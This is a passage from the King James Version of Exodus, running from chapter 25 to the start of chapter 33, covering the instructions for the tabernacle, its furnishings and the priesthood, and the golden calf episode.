seat. + +25:19 And make one cherub on the one end, and the other cherub on the +other end: even of the mercy seat shall ye make the cherubims on the +two ends thereof. + +25:20 And the cherubims shall stretch forth their wings on high, +covering the mercy seat with their wings, and their faces shall look +one to another; toward the mercy seat shall the faces of the cherubims +be. + +25:21 And thou shalt put the mercy seat above upon the ark; and in the +ark thou shalt put the testimony that I shall give thee. + +25:22 And there I will meet with thee, and I will commune with thee +from above the mercy seat, from between the two cherubims which are +upon the ark of the testimony, of all things which I will give thee in +commandment unto the children of Israel. + +25:23 Thou shalt also make a table of shittim wood: two cubits shall +be the length thereof, and a cubit the breadth thereof, and a cubit +and a half the height thereof. + +25:24 And thou shalt overlay it with pure gold, and make thereto a +crown of gold round about. + +25:25 And thou shalt make unto it a border of an hand breadth round +about, and thou shalt make a golden crown to the border thereof round +about. + +25:26 And thou shalt make for it four rings of gold, and put the rings +in the four corners that are on the four feet thereof. + +25:27 Over against the border shall the rings be for places of the +staves to bear the table. + +25:28 And thou shalt make the staves of shittim wood, and overlay them +with gold, that the table may be borne with them. + +25:29 And thou shalt make the dishes thereof, and spoons thereof, and +covers thereof, and bowls thereof, to cover withal: of pure gold shalt +thou make them. + +25:30 And thou shalt set upon the table shewbread before me alway. + +25:31 And thou shalt make a candlestick of pure gold: of beaten work +shall the candlestick be made: his shaft, and his branches, his bowls, +his knops, and his flowers, shall be of the same. + +25:32 And six branches shall come out of the sides of it; three +branches of the candlestick out of the one side, and three branches of +the candlestick out of the other side: 25:33 Three bowls made like +unto almonds, with a knop and a flower in one branch; and three bowls +made like almonds in the other branch, with a knop and a flower: so in +the six branches that come out of the candlestick. + +25:34 And in the candlesticks shall be four bowls made like unto +almonds, with their knops and their flowers. + +25:35 And there shall be a knop under two branches of the same, and a +knop under two branches of the same, and a knop under two branches of +the same, according to the six branches that proceed out of the +candlestick. + +25:36 Their knops and their branches shall be of the same: all it +shall be one beaten work of pure gold. + +25:37 And thou shalt make the seven lamps thereof: and they shall +light the lamps thereof, that they may give light over against it. + +25:38 And the tongs thereof, and the snuffdishes thereof, shall be of +pure gold. + +25:39 Of a talent of pure gold shall he make it, with all these +vessels. + +25:40 And look that thou make them after their pattern, which was +shewed thee in the mount. + +26:1 Moreover thou shalt make the tabernacle with ten curtains of fine +twined linen, and blue, and purple, and scarlet: with cherubims of +cunning work shalt thou make them. + +26:2 The length of one curtain shall be eight and twenty cubits, and +the breadth of one curtain four cubits: and every one of the curtains +shall have one measure. + +26:3 The five curtains shall be coupled together one to another; and +other five curtains shall be coupled one to another. + +26:4 And thou shalt make loops of blue upon the edge of the one +curtain from the selvedge in the coupling; and likewise shalt thou +make in the uttermost edge of another curtain, in the coupling of the +second. + +26:5 Fifty loops shalt thou make in the one curtain, and fifty loops +shalt thou make in the edge of the curtain that is in the coupling of +the second; that the loops may take hold one of another. + +26:6 And thou shalt make fifty taches of gold, and couple the curtains +together with the taches: and it shall be one tabernacle. + +26:7 And thou shalt make curtains of goats' hair to be a covering upon +the tabernacle: eleven curtains shalt thou make. + +26:8 The length of one curtain shall be thirty cubits, and the breadth +of one curtain four cubits: and the eleven curtains shall be all of +one measure. + +26:9 And thou shalt couple five curtains by themselves, and six +curtains by themselves, and shalt double the sixth curtain in the +forefront of the tabernacle. + +26:10 And thou shalt make fifty loops on the edge of the one curtain +that is outmost in the coupling, and fifty loops in the edge of the +curtain which coupleth the second. + +26:11 And thou shalt make fifty taches of brass, and put the taches +into the loops, and couple the tent together, that it may be one. + +26:12 And the remnant that remaineth of the curtains of the tent, the +half curtain that remaineth, shall hang over the backside of the +tabernacle. + +26:13 And a cubit on the one side, and a cubit on the other side of +that which remaineth in the length of the curtains of the tent, it +shall hang over the sides of the tabernacle on this side and on that +side, to cover it. + +26:14 And thou shalt make a covering for the tent of rams' skins dyed +red, and a covering above of badgers' skins. + +26:15 And thou shalt make boards for the tabernacle of shittim wood +standing up. + +26:16 Ten cubits shall be the length of a board, and a cubit and a +half shall be the breadth of one board. + +26:17 Two tenons shall there be in one board, set in order one against +another: thus shalt thou make for all the boards of the tabernacle. + +26:18 And thou shalt make the boards for the tabernacle, twenty boards +on the south side southward. + +26:19 And thou shalt make forty sockets of silver under the twenty +boards; two sockets under one board for his two tenons, and two +sockets under another board for his two tenons. + +26:20 And for the second side of the tabernacle on the north side +there shall be twenty boards: 26:21 And their forty sockets of silver; +two sockets under one board, and two sockets under another board. + +26:22 And for the sides of the tabernacle westward thou shalt make six +boards. + +26:23 And two boards shalt thou make for the corners of the tabernacle +in the two sides. + +26:24 And they shall be coupled together beneath, and they shall be +coupled together above the head of it unto one ring: thus shall it be +for them both; they shall be for the two corners. + +26:25 And they shall be eight boards, and their sockets of silver, +sixteen sockets; two sockets under one board, and two sockets under +another board. + +26:26 And thou shalt make bars of shittim wood; five for the boards of +the one side of the tabernacle, 26:27 And five bars for the boards of +the other side of the tabernacle, and five bars for the boards of the +side of the tabernacle, for the two sides westward. + +26:28 And the middle bar in the midst of the boards shall reach from +end to end. + +26:29 And thou shalt overlay the boards with gold, and make their +rings of gold for places for the bars: and thou shalt overlay the bars +with gold. + +26:30 And thou shalt rear up the tabernacle according to the fashion +thereof which was shewed thee in the mount. + +26:31 And thou shalt make a vail of blue, and purple, and scarlet, and +fine twined linen of cunning work: with cherubims shall it be made: +26:32 And thou shalt hang it upon four pillars of shittim wood +overlaid with gold: their hooks shall be of gold, upon the four +sockets of silver. + +26:33 And thou shalt hang up the vail under the taches, that thou +mayest bring in thither within the vail the ark of the testimony: and +the vail shall divide unto you between the holy place and the most +holy. + +26:34 And thou shalt put the mercy seat upon the ark of the testimony +in the most holy place. + +26:35 And thou shalt set the table without the vail, and the +candlestick over against the table on the side of the tabernacle +toward the south: and thou shalt put the table on the north side. + +26:36 And thou shalt make an hanging for the door of the tent, of +blue, and purple, and scarlet, and fine twined linen, wrought with +needlework. + +26:37 And thou shalt make for the hanging five pillars of shittim +wood, and overlay them with gold, and their hooks shall be of gold: +and thou shalt cast five sockets of brass for them. + +27:1 And thou shalt make an altar of shittim wood, five cubits long, +and five cubits broad; the altar shall be foursquare: and the height +thereof shall be three cubits. + +27:2 And thou shalt make the horns of it upon the four corners +thereof: his horns shall be of the same: and thou shalt overlay it +with brass. + +27:3 And thou shalt make his pans to receive his ashes, and his +shovels, and his basons, and his fleshhooks, and his firepans: all the +vessels thereof thou shalt make of brass. + +27:4 And thou shalt make for it a grate of network of brass; and upon +the net shalt thou make four brasen rings in the four corners thereof. + +27:5 And thou shalt put it under the compass of the altar beneath, +that the net may be even to the midst of the altar. + +27:6 And thou shalt make staves for the altar, staves of shittim wood, +and overlay them with brass. + +27:7 And the staves shall be put into the rings, and the staves shall +be upon the two sides of the altar, to bear it. + +27:8 Hollow with boards shalt thou make it: as it was shewed thee in +the mount, so shall they make it. + +27:9 And thou shalt make the court of the tabernacle: for the south +side southward there shall be hangings for the court of fine twined +linen of an hundred cubits long for one side: 27:10 And the twenty +pillars thereof and their twenty sockets shall be of brass; the hooks +of the pillars and their fillets shall be of silver. + +27:11 And likewise for the north side in length there shall be +hangings of an hundred cubits long, and his twenty pillars and their +twenty sockets of brass; the hooks of the pillars and their fillets of +silver. + +27:12 And for the breadth of the court on the west side shall be +hangings of fifty cubits: their pillars ten, and their sockets ten. + +27:13 And the breadth of the court on the east side eastward shall be +fifty cubits. + +27:14 The hangings of one side of the gate shall be fifteen cubits: +their pillars three, and their sockets three. + +27:15 And on the other side shall be hangings fifteen cubits: their +pillars three, and their sockets three. + +27:16 And for the gate of the court shall be an hanging of twenty +cubits, of blue, and purple, and scarlet, and fine twined linen, +wrought with needlework: and their pillars shall be four, and their +sockets four. + +27:17 All the pillars round about the court shall be filleted with +silver; their hooks shall be of silver, and their sockets of brass. + +27:18 The length of the court shall be an hundred cubits, and the +breadth fifty every where, and the height five cubits of fine twined +linen, and their sockets of brass. + +27:19 All the vessels of the tabernacle in all the service thereof, +and all the pins thereof, and all the pins of the court, shall be of +brass. + +27:20 And thou shalt command the children of Israel, that they bring +thee pure oil olive beaten for the light, to cause the lamp to burn +always. + +27:21 In the tabernacle of the congregation without the vail, which is +before the testimony, Aaron and his sons shall order it from evening +to morning before the LORD: it shall be a statute for ever unto their +generations on the behalf of the children of Israel. + +28:1 And take thou unto thee Aaron thy brother, and his sons with him, +from among the children of Israel, that he may minister unto me in the +priest's office, even Aaron, Nadab and Abihu, Eleazar and Ithamar, +Aaron's sons. + +28:2 And thou shalt make holy garments for Aaron thy brother for glory +and for beauty. + +28:3 And thou shalt speak unto all that are wise hearted, whom I have +filled with the spirit of wisdom, that they may make Aaron's garments +to consecrate him, that he may minister unto me in the priest's +office. + +28:4 And these are the garments which they shall make; a breastplate, +and an ephod, and a robe, and a broidered coat, a mitre, and a girdle: +and they shall make holy garments for Aaron thy brother, and his sons, +that he may minister unto me in the priest's office. + +28:5 And they shall take gold, and blue, and purple, and scarlet, and +fine linen. + +28:6 And they shall make the ephod of gold, of blue, and of purple, of +scarlet, and fine twined linen, with cunning work. + +28:7 It shall have the two shoulderpieces thereof joined at the two +edges thereof; and so it shall be joined together. + +28:8 And the curious girdle of the ephod, which is upon it, shall be +of the same, according to the work thereof; even of gold, of blue, and +purple, and scarlet, and fine twined linen. + +28:9 And thou shalt take two onyx stones, and grave on them the names +of the children of Israel: 28:10 Six of their names on one stone, and +the other six names of the rest on the other stone, according to their +birth. + +28:11 With the work of an engraver in stone, like the engravings of a +signet, shalt thou engrave the two stones with the names of the +children of Israel: thou shalt make them to be set in ouches of gold. + +28:12 And thou shalt put the two stones upon the shoulders of the +ephod for stones of memorial unto the children of Israel: and Aaron +shall bear their names before the LORD upon his two shoulders for a +memorial. + +28:13 And thou shalt make ouches of gold; 28:14 And two chains of pure +gold at the ends; of wreathen work shalt thou make them, and fasten +the wreathen chains to the ouches. + +28:15 And thou shalt make the breastplate of judgment with cunning +work; after the work of the ephod thou shalt make it; of gold, of +blue, and of purple, and of scarlet, and of fine twined linen, shalt +thou make it. + +28:16 Foursquare it shall be being doubled; a span shall be the length +thereof, and a span shall be the breadth thereof. + +28:17 And thou shalt set in it settings of stones, even four rows of +stones: the first row shall be a sardius, a topaz, and a carbuncle: +this shall be the first row. + +28:18 And the second row shall be an emerald, a sapphire, and a +diamond. + +28:19 And the third row a ligure, an agate, and an amethyst. + +28:20 And the fourth row a beryl, and an onyx, and a jasper: they +shall be set in gold in their inclosings. + +28:21 And the stones shall be with the names of the children of +Israel, twelve, according to their names, like the engravings of a +signet; every one with his name shall they be according to the twelve +tribes. + +28:22 And thou shalt make upon the breastplate chains at the ends of +wreathen work of pure gold. + +28:23 And thou shalt make upon the breastplate two rings of gold, and +shalt put the two rings on the two ends of the breastplate. + +28:24 And thou shalt put the two wreathen chains of gold in the two +rings which are on the ends of the breastplate. + +28:25 And the other two ends of the two wreathen chains thou shalt +fasten in the two ouches, and put them on the shoulderpieces of the +ephod before it. + +28:26 And thou shalt make two rings of gold, and thou shalt put them +upon the two ends of the breastplate in the border thereof, which is +in the side of the ephod inward. + +28:27 And two other rings of gold thou shalt make, and shalt put them +on the two sides of the ephod underneath, toward the forepart thereof, +over against the other coupling thereof, above the curious girdle of +the ephod. + +28:28 And they shall bind the breastplate by the rings thereof unto +the rings of the ephod with a lace of blue, that it may be above the +curious girdle of the ephod, and that the breastplate be not loosed +from the ephod. + +28:29 And Aaron shall bear the names of the children of Israel in the +breastplate of judgment upon his heart, when he goeth in unto the holy +place, for a memorial before the LORD continually. + +28:30 And thou shalt put in the breastplate of judgment the Urim and +the Thummim; and they shall be upon Aaron's heart, when he goeth in +before the LORD: and Aaron shall bear the judgment of the children of +Israel upon his heart before the LORD continually. + +28:31 And thou shalt make the robe of the ephod all of blue. + +28:32 And there shall be an hole in the top of it, in the midst +thereof: it shall have a binding of woven work round about the hole of +it, as it were the hole of an habergeon, that it be not rent. + +28:33 And beneath upon the hem of it thou shalt make pomegranates of +blue, and of purple, and of scarlet, round about the hem thereof; and +bells of gold between them round about: 28:34 A golden bell and a +pomegranate, a golden bell and a pomegranate, upon the hem of the robe +round about. + +28:35 And it shall be upon Aaron to minister: and his sound shall be +heard when he goeth in unto the holy place before the LORD, and when +he cometh out, that he die not. + +28:36 And thou shalt make a plate of pure gold, and grave upon it, +like the engravings of a signet, HOLINESS TO THE LORD. + +28:37 And thou shalt put it on a blue lace, that it may be upon the +mitre; upon the forefront of the mitre it shall be. + +28:38 And it shall be upon Aaron's forehead, that Aaron may bear the +iniquity of the holy things, which the children of Israel shall hallow +in all their holy gifts; and it shall be always upon his forehead, +that they may be accepted before the LORD. + +28:39 And thou shalt embroider the coat of fine linen, and thou shalt +make the mitre of fine linen, and thou shalt make the girdle of +needlework. + +28:40 And for Aaron's sons thou shalt make coats, and thou shalt make +for them girdles, and bonnets shalt thou make for them, for glory and +for beauty. + +28:41 And thou shalt put them upon Aaron thy brother, and his sons +with him; and shalt anoint them, and consecrate them, and sanctify +them, that they may minister unto me in the priest's office. + +28:42 And thou shalt make them linen breeches to cover their +nakedness; from the loins even unto the thighs they shall reach: 28:43 +And they shall be upon Aaron, and upon his sons, when they come in +unto the tabernacle of the congregation, or when they come near unto +the altar to minister in the holy place; that they bear not iniquity, +and die: it shall be a statute for ever unto him and his seed after +him. + +29:1 And this is the thing that thou shalt do unto them to hallow +them, to minister unto me in the priest's office: Take one young +bullock, and two rams without blemish, 29:2 And unleavened bread, and +cakes unleavened tempered with oil, and wafers unleavened anointed +with oil: of wheaten flour shalt thou make them. + +29:3 And thou shalt put them into one basket, and bring them in the +basket, with the bullock and the two rams. + +29:4 And Aaron and his sons thou shalt bring unto the door of the +tabernacle of the congregation, and shalt wash them with water. + +29:5 And thou shalt take the garments, and put upon Aaron the coat, +and the robe of the ephod, and the ephod, and the breastplate, and +gird him with the curious girdle of the ephod: 29:6 And thou shalt put +the mitre upon his head, and put the holy crown upon the mitre. + +29:7 Then shalt thou take the anointing oil, and pour it upon his +head, and anoint him. + +29:8 And thou shalt bring his sons, and put coats upon them. + +29:9 And thou shalt gird them with girdles, Aaron and his sons, and +put the bonnets on them: and the priest's office shall be theirs for a +perpetual statute: and thou shalt consecrate Aaron and his sons. + +29:10 And thou shalt cause a bullock to be brought before the +tabernacle of the congregation: and Aaron and his sons shall put their +hands upon the head of the bullock. + +29:11 And thou shalt kill the bullock before the LORD, by the door of +the tabernacle of the congregation. + +29:12 And thou shalt take of the blood of the bullock, and put it upon +the horns of the altar with thy finger, and pour all the blood beside +the bottom of the altar. + +29:13 And thou shalt take all the fat that covereth the inwards, and +the caul that is above the liver, and the two kidneys, and the fat +that is upon them, and burn them upon the altar. + +29:14 But the flesh of the bullock, and his skin, and his dung, shalt +thou burn with fire without the camp: it is a sin offering. + +29:15 Thou shalt also take one ram; and Aaron and his sons shall put +their hands upon the head of the ram. + +29:16 And thou shalt slay the ram, and thou shalt take his blood, and +sprinkle it round about upon the altar. + +29:17 And thou shalt cut the ram in pieces, and wash the inwards of +him, and his legs, and put them unto his pieces, and unto his head. + +29:18 And thou shalt burn the whole ram upon the altar: it is a burnt +offering unto the LORD: it is a sweet savour, an offering made by fire +unto the LORD. + +29:19 And thou shalt take the other ram; and Aaron and his sons shall +put their hands upon the head of the ram. + +29:20 Then shalt thou kill the ram, and take of his blood, and put it +upon the tip of the right ear of Aaron, and upon the tip of the right +ear of his sons, and upon the thumb of their right hand, and upon the +great toe of their right foot, and sprinkle the blood upon the altar +round about. + +29:21 And thou shalt take of the blood that is upon the altar, and of +the anointing oil, and sprinkle it upon Aaron, and upon his garments, +and upon his sons, and upon the garments of his sons with him: and he +shall be hallowed, and his garments, and his sons, and his sons' +garments with him. + +29:22 Also thou shalt take of the ram the fat and the rump, and the +fat that covereth the inwards, and the caul above the liver, and the +two kidneys, and the fat that is upon them, and the right shoulder; +for it is a ram of consecration: 29:23 And one loaf of bread, and one +cake of oiled bread, and one wafer out of the basket of the unleavened +bread that is before the LORD: 29:24 And thou shalt put all in the +hands of Aaron, and in the hands of his sons; and shalt wave them for +a wave offering before the LORD. + +29:25 And thou shalt receive them of their hands, and burn them upon +the altar for a burnt offering, for a sweet savour before the LORD: it +is an offering made by fire unto the LORD. + +29:26 And thou shalt take the breast of the ram of Aaron's +consecration, and wave it for a wave offering before the LORD: and it +shall be thy part. + +29:27 And thou shalt sanctify the breast of the wave offering, and the +shoulder of the heave offering, which is waved, and which is heaved +up, of the ram of the consecration, even of that which is for Aaron, +and of that which is for his sons: 29:28 And it shall be Aaron's and +his sons' by a statute for ever from the children of Israel: for it is +an heave offering: and it shall be an heave offering from the children +of Israel of the sacrifice of their peace offerings, even their heave +offering unto the LORD. + +29:29 And the holy garments of Aaron shall be his sons' after him, to +be anointed therein, and to be consecrated in them. + +29:30 And that son that is priest in his stead shall put them on seven +days, when he cometh into the tabernacle of the congregation to +minister in the holy place. + +29:31 And thou shalt take the ram of the consecration, and seethe his +flesh in the holy place. + +29:32 And Aaron and his sons shall eat the flesh of the ram, and the +bread that is in the basket by the door of the tabernacle of the +congregation. + +29:33 And they shall eat those things wherewith the atonement was +made, to consecrate and to sanctify them: but a stranger shall not eat +thereof, because they are holy. + +29:34 And if ought of the flesh of the consecrations, or of the bread, +remain unto the morning, then thou shalt burn the remainder with fire: +it shall not be eaten, because it is holy. + +29:35 And thus shalt thou do unto Aaron, and to his sons, according to +all things which I have commanded thee: seven days shalt thou +consecrate them. + +29:36 And thou shalt offer every day a bullock for a sin offering for +atonement: and thou shalt cleanse the altar, when thou hast made an +atonement for it, and thou shalt anoint it, to sanctify it. + +29:37 Seven days thou shalt make an atonement for the altar, and +sanctify it; and it shall be an altar most holy: whatsoever toucheth +the altar shall be holy. + +29:38 Now this is that which thou shalt offer upon the altar; two +lambs of the first year day by day continually. + +29:39 The one lamb thou shalt offer in the morning; and the other lamb +thou shalt offer at even: 29:40 And with the one lamb a tenth deal of +flour mingled with the fourth part of an hin of beaten oil; and the +fourth part of an hin of wine for a drink offering. + +29:41 And the other lamb thou shalt offer at even, and shalt do +thereto according to the meat offering of the morning, and according +to the drink offering thereof, for a sweet savour, an offering made by +fire unto the LORD. + +29:42 This shall be a continual burnt offering throughout your +generations at the door of the tabernacle of the congregation before +the LORD: where I will meet you, to speak there unto thee. + +29:43 And there I will meet with the children of Israel, and the +tabernacle shall be sanctified by my glory. + +29:44 And I will sanctify the tabernacle of the congregation, and the +altar: I will sanctify also both Aaron and his sons, to minister to me +in the priest's office. + +29:45 And I will dwell among the children of Israel, and will be their +God. + +29:46 And they shall know that I am the LORD their God, that brought +them forth out of the land of Egypt, that I may dwell among them: I am +the LORD their God. + +30:1 And thou shalt make an altar to burn incense upon: of shittim +wood shalt thou make it. + +30:2 A cubit shall be the length thereof, and a cubit the breadth +thereof; foursquare shall it be: and two cubits shall be the height +thereof: the horns thereof shall be of the same. + +30:3 And thou shalt overlay it with pure gold, the top thereof, and +the sides thereof round about, and the horns thereof; and thou shalt +make unto it a crown of gold round about. + +30:4 And two golden rings shalt thou make to it under the crown of it, +by the two corners thereof, upon the two sides of it shalt thou make +it; and they shall be for places for the staves to bear it withal. + +30:5 And thou shalt make the staves of shittim wood, and overlay them +with gold. + +30:6 And thou shalt put it before the vail that is by the ark of the +testimony, before the mercy seat that is over the testimony, where I +will meet with thee. + +30:7 And Aaron shall burn thereon sweet incense every morning: when he +dresseth the lamps, he shall burn incense upon it. + +30:8 And when Aaron lighteth the lamps at even, he shall burn incense +upon it, a perpetual incense before the LORD throughout your +generations. + +30:9 Ye shall offer no strange incense thereon, nor burnt sacrifice, +nor meat offering; neither shall ye pour drink offering thereon. + +30:10 And Aaron shall make an atonement upon the horns of it once in a +year with the blood of the sin offering of atonements: once in the +year shall he make atonement upon it throughout your generations: it +is most holy unto the LORD. + +30:11 And the LORD spake unto Moses, saying, 30:12 When thou takest +the sum of the children of Israel after their number, then shall they +give every man a ransom for his soul unto the LORD, when thou +numberest them; that there be no plague among them, when thou +numberest them. + +30:13 This they shall give, every one that passeth among them that are +numbered, half a shekel after the shekel of the sanctuary: (a shekel +is twenty gerahs:) an half shekel shall be the offering of the LORD. + +30:14 Every one that passeth among them that are numbered, from twenty +years old and above, shall give an offering unto the LORD. + +30:15 The rich shall not give more, and the poor shall not give less +than half a shekel, when they give an offering unto the LORD, to make +an atonement for your souls. + +30:16 And thou shalt take the atonement money of the children of +Israel, and shalt appoint it for the service of the tabernacle of the +congregation; that it may be a memorial unto the children of Israel +before the LORD, to make an atonement for your souls. + +30:17 And the LORD spake unto Moses, saying, 30:18 Thou shalt also +make a laver of brass, and his foot also of brass, to wash withal: and +thou shalt put it between the tabernacle of the congregation and the +altar, and thou shalt put water therein. + +30:19 For Aaron and his sons shall wash their hands and their feet +thereat: 30:20 When they go into the tabernacle of the congregation, +they shall wash with water, that they die not; or when they come near +to the altar to minister, to burn offering made by fire unto the LORD: +30:21 So they shall wash their hands and their feet, that they die +not: and it shall be a statute for ever to them, even to him and to +his seed throughout their generations. + +30:22 Moreover the LORD spake unto Moses, saying, 30:23 Take thou also +unto thee principal spices, of pure myrrh five hundred shekels, and of +sweet cinnamon half so much, even two hundred and fifty shekels, and +of sweet calamus two hundred and fifty shekels, 30:24 And of cassia +five hundred shekels, after the shekel of the sanctuary, and of oil +olive an hin: 30:25 And thou shalt make it an oil of holy ointment, an +ointment compound after the art of the apothecary: it shall be an holy +anointing oil. + +30:26 And thou shalt anoint the tabernacle of the congregation +therewith, and the ark of the testimony, 30:27 And the table and all +his vessels, and the candlestick and his vessels, and the altar of +incense, 30:28 And the altar of burnt offering with all his vessels, +and the laver and his foot. + +30:29 And thou shalt sanctify them, that they may be most holy: +whatsoever toucheth them shall be holy. + +30:30 And thou shalt anoint Aaron and his sons, and consecrate them, +that they may minister unto me in the priest's office. + +30:31 And thou shalt speak unto the children of Israel, saying, This +shall be an holy anointing oil unto me throughout your generations. + +30:32 Upon man's flesh shall it not be poured, neither shall ye make +any other like it, after the composition of it: it is holy, and it +shall be holy unto you. + +30:33 Whosoever compoundeth any like it, or whosoever putteth any of +it upon a stranger, shall even be cut off from his people. + +30:34 And the LORD said unto Moses, Take unto thee sweet spices, +stacte, and onycha, and galbanum; these sweet spices with pure +frankincense: of each shall there be a like weight: 30:35 And thou +shalt make it a perfume, a confection after the art of the apothecary, +tempered together, pure and holy: 30:36 And thou shalt beat some of it +very small, and put of it before the testimony in the tabernacle of +the congregation, where I will meet with thee: it shall be unto you +most holy. + +30:37 And as for the perfume which thou shalt make, ye shall not make +to yourselves according to the composition thereof: it shall be unto +thee holy for the LORD. + +30:38 Whosoever shall make like unto that, to smell thereto, shall +even be cut off from his people. + +31:1 And the LORD spake unto Moses, saying, 31:2 See, I have called by +name Bezaleel the son of Uri, the son of Hur, of the tribe of Judah: +31:3 And I have filled him with the spirit of God, in wisdom, and in +understanding, and in knowledge, and in all manner of workmanship, +31:4 To devise cunning works, to work in gold, and in silver, and in +brass, 31:5 And in cutting of stones, to set them, and in carving of +timber, to work in all manner of workmanship. + +31:6 And I, behold, I have given with him Aholiab, the son of +Ahisamach, of the tribe of Dan: and in the hearts of all that are wise +hearted I have put wisdom, that they may make all that I have +commanded thee; 31:7 The tabernacle of the congregation, and the ark +of the testimony, and the mercy seat that is thereupon, and all the +furniture of the tabernacle, 31:8 And the table and his furniture, and +the pure candlestick with all his furniture, and the altar of incense, +31:9 And the altar of burnt offering with all his furniture, and the +laver and his foot, 31:10 And the cloths of service, and the holy +garments for Aaron the priest, and the garments of his sons, to +minister in the priest's office, 31:11 And the anointing oil, and +sweet incense for the holy place: according to all that I have +commanded thee shall they do. + +31:12 And the LORD spake unto Moses, saying, 31:13 Speak thou also +unto the children of Israel, saying, Verily my sabbaths ye shall keep: +for it is a sign between me and you throughout your generations; that +ye may know that I am the LORD that doth sanctify you. + +31:14 Ye shall keep the sabbath therefore; for it is holy unto you: +every one that defileth it shall surely be put to death: for whosoever +doeth any work therein, that soul shall be cut off from among his +people. + +31:15 Six days may work be done; but in the seventh is the sabbath of +rest, holy to the LORD: whosoever doeth any work in the sabbath day, +he shall surely be put to death. + +31:16 Wherefore the children of Israel shall keep the sabbath, to +observe the sabbath throughout their generations, for a perpetual +covenant. + +31:17 It is a sign between me and the children of Israel for ever: for +in six days the LORD made heaven and earth, and on the seventh day he +rested, and was refreshed. + +31:18 And he gave unto Moses, when he had made an end of communing +with him upon mount Sinai, two tables of testimony, tables of stone, +written with the finger of God. + +32:1 And when the people saw that Moses delayed to come down out of +the mount, the people gathered themselves together unto Aaron, and +said unto him, Up, make us gods, which shall go before us; for as for +this Moses, the man that brought us up out of the land of Egypt, we +wot not what is become of him. + +32:2 And Aaron said unto them, Break off the golden earrings, which +are in the ears of your wives, of your sons, and of your daughters, +and bring them unto me. + +32:3 And all the people brake off the golden earrings which were in +their ears, and brought them unto Aaron. + +32:4 And he received them at their hand, and fashioned it with a +graving tool, after he had made it a molten calf: and they said, These +be thy gods, O Israel, which brought thee up out of the land of Egypt. + +32:5 And when Aaron saw it, he built an altar before it; and Aaron +made proclamation, and said, To morrow is a feast to the LORD. + +32:6 And they rose up early on the morrow, and offered burnt +offerings, and brought peace offerings; and the people sat down to eat +and to drink, and rose up to play. + +32:7 And the LORD said unto Moses, Go, get thee down; for thy people, +which thou broughtest out of the land of Egypt, have corrupted +themselves: 32:8 They have turned aside quickly out of the way which I +commanded them: they have made them a molten calf, and have worshipped +it, and have sacrificed thereunto, and said, These be thy gods, O +Israel, which have brought thee up out of the land of Egypt. + +32:9 And the LORD said unto Moses, I have seen this people, and, +behold, it is a stiffnecked people: 32:10 Now therefore let me alone, +that my wrath may wax hot against them, and that I may consume them: +and I will make of thee a great nation. + +32:11 And Moses besought the LORD his God, and said, LORD, why doth +thy wrath wax hot against thy people, which thou hast brought forth +out of the land of Egypt with great power, and with a mighty hand? +32:12 Wherefore should the Egyptians speak, and say, For mischief did +he bring them out, to slay them in the mountains, and to consume them +from the face of the earth? Turn from thy fierce wrath, and repent of +this evil against thy people. + +32:13 Remember Abraham, Isaac, and Israel, thy servants, to whom thou +swarest by thine own self, and saidst unto them, I will multiply your +seed as the stars of heaven, and all this land that I have spoken of +will I give unto your seed, and they shall inherit it for ever. + +32:14 And the LORD repented of the evil which he thought to do unto +his people. + +32:15 And Moses turned, and went down from the mount, and the two +tables of the testimony were in his hand: the tables were written on +both their sides; on the one side and on the other were they written. + +32:16 And the tables were the work of God, and the writing was the +writing of God, graven upon the tables. + +32:17 And when Joshua heard the noise of the people as they shouted, +he said unto Moses, There is a noise of war in the camp. + +32:18 And he said, It is not the voice of them that shout for mastery, +neither is it the voice of them that cry for being overcome: but the +noise of them that sing do I hear. + +32:19 And it came to pass, as soon as he came nigh unto the camp, that +he saw the calf, and the dancing: and Moses' anger waxed hot, and he +cast the tables out of his hands, and brake them beneath the mount. + +32:20 And he took the calf which they had made, and burnt it in the +fire, and ground it to powder, and strawed it upon the water, and made +the children of Israel drink of it. + +32:21 And Moses said unto Aaron, What did this people unto thee, that +thou hast brought so great a sin upon them? 32:22 And Aaron said, Let +not the anger of my lord wax hot: thou knowest the people, that they +are set on mischief. + +32:23 For they said unto me, Make us gods, which shall go before us: +for as for this Moses, the man that brought us up out of the land of +Egypt, we wot not what is become of him. + +32:24 And I said unto them, Whosoever hath any gold, let them break it +off. So they gave it me: then I cast it into the fire, and there came +out this calf. + +32:25 And when Moses saw that the people were naked; (for Aaron had +made them naked unto their shame among their enemies:) 32:26 Then +Moses stood in the gate of the camp, and said, Who is on the LORD's +side? let him come unto me. And all the sons of Levi gathered +themselves together unto him. + +32:27 And he said unto them, Thus saith the LORD God of Israel, Put +every man his sword by his side, and go in and out from gate to gate +throughout the camp, and slay every man his brother, and every man his +companion, and every man his neighbour. + +32:28 And the children of Levi did according to the word of Moses: and +there fell of the people that day about three thousand men. + +32:29 For Moses had said, Consecrate yourselves today to the LORD, +even every man upon his son, and upon his brother; that he may bestow +upon you a blessing this day. + +32:30 And it came to pass on the morrow, that Moses said unto the +people, Ye have sinned a great sin: and now I will go up unto the +LORD; peradventure I shall make an atonement for your sin. + +32:31 And Moses returned unto the LORD, and said, Oh, this people have +sinned a great sin, and have made them gods of gold. + +32:32 Yet now, if thou wilt forgive their sin--; and if not, blot me, +I pray thee, out of thy book which thou hast written. + +32:33 And the LORD said unto Moses, Whosoever hath sinned against me, +him will I blot out of my book. + +32:34 Therefore now go, lead the people unto the place of which I have +spoken unto thee: behold, mine Angel shall go before thee: +nevertheless in the day when I visit I will visit their sin upon them. + +32:35 And the LORD plagued the people, because they made the calf, +which Aaron made. + +33:1 And the LORD said unto Moses, Depart, and go up hence, thou and +the people which thou hast brought up out of the land of Egypt, unto +the land which I sware unto Abraham, to Isaac, and to Jacob, saying, +Unto thy seed will I give it: 33:2 And I will send an angel before +thee; and I will drive out the Canaanite, the Amorite, and the +Hittite, and the Perizzite, the Hivite, and the Jebusite: 33:3 Unto a +land flowing with milk and honey: for I will not go up in the midst of +thee; for thou art a stiffnecked people: lest I consume thee in the +way. + +33:4 And when the people heard these evil tidings, they mourned: and +no man did put on him his ornaments. + +33:5 For the LORD had said unto Moses, Say unto the children of +Israel, Ye are a stiffnecked people: I will come up into the midst of +thee in a moment, and consume thee: therefore now put off thy +ornaments from thee, that I may know what to do unto thee. + +33:6 And the children of Israel stripped themselves of their ornaments +by the mount Horeb. + +33:7 And Moses took the tabernacle, and pitched it without the camp, +afar off from the camp, and called it the Tabernacle of the +congregation. And it came to pass, that every one which sought the +LORD went out unto the tabernacle of the congregation, which was +without the camp. + +33:8 And it came to pass, when Moses went out unto the tabernacle, +that all the people rose up, and stood every man at his tent door, and +looked after Moses, until he was gone into the tabernacle. + +33:9 And it came to pass, as Moses entered into the 